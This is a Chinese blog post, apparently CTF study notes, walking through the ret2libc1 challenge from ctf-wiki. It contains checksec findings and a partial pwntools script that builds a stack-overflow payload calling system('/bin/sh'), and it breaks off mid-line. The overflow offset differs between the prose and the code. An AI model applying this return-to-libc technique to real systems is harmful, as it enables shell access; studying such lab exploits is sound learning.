pwn ret2libc系列

[mzq]

已于 2022-05-30 15:12:36 修改

阅读量262

点赞数

分类专栏： ctf 笔记文章标签：安全 linux 网络安全网络

于 2022-05-30 14:59:35 首次发布

本文链接：https://blog.csdn.net/zip471642048/article/details/125036019

版权

文章目录

题目链接： https://github.com/ctf-wiki/ctf-challenges

ret2libc1

checksec一下只开了NX 和部分RELRO

在这里插入图片描述

main函数

secure函数

有溢出给了plt表里也有system函数的address 也有/bin/sh字符串，payload已经可以构造出来了

offset = 0x64

在这里插入图片描述

  1 from pwn import *                                                                                                         
  2 
  3 io = process('./ret2libc1')
  4 
  5 elf = ELF('./ret2libc1')
  6 
  7 system_plt_addr = elf.plt['system']
  8 binsh_addr = next(elf.search(b"/bin/sh"))
  9 offset = 108
 10 
 11 print('system_plt_addr:',system_plt_addr)
 12 print('binsh_addr : ',binsh_addr)
 13 #payload = flat([b'a'*(offset+4),system_plt_addr,p32(0),binsh_addr])
 14 payload = b'a'*(offset+4